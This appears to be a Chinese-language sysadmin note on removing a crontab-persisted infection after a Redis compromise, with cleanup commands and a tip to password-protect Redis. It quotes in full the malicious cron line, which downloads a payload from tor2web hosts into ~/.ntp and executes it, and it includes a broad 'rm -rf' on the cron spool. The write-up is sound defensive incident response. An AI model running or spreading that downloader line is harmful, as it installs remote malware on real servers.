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检查 时 crontab 已被清空 被以下脚本代替
/bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp
清空 crontab
ll /var/spool/cron/ -a
cd /var/spool/cron/
rm -rf ./*
rm -rf ./.*
杀死进程 定时任务启动的任务
ps -ef|grep tbin|grep -v bash|grep -v sshd|awk '{print $2}|xargs -i{} kill -9 {}
再次查看进程,不到一分钟发现脚本又重新启动
ps -aux|more chkconfig --list 并没有发现可疑程序
再次杀死进程,并停止 crontab , 过了一会再次查看进程, 已经不存在了,可以确定是 crontab的问题,
通过 定时任务里的url 地址 搜 定时任务配置文件, 搜到如下 其实是 伪装的Binary file 全部清除,
[root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
Binary file /etc/cron.d/.auwdfmcucuhaq matches
Binary file /etc/cron.d/.cpddmaaqgh matches
Binary file /etc/cron.d/.yaygulruw matches
Binary file /etc/cron.d/.fddjefx matches
Binary file /etc/cron.d/.bgvhyj matches
Binary file /etc/crontab matches
Binary file /home/123/root matches
然后启动crontab ,
再次检查进程没有再次启动
ps -aux|more
ps -ef|grep tbin
我的redis 并没有对外开放,依然被攻击了,具体如何被攻击的不在这里赘述了
需要注意 redis 切记 加密码访问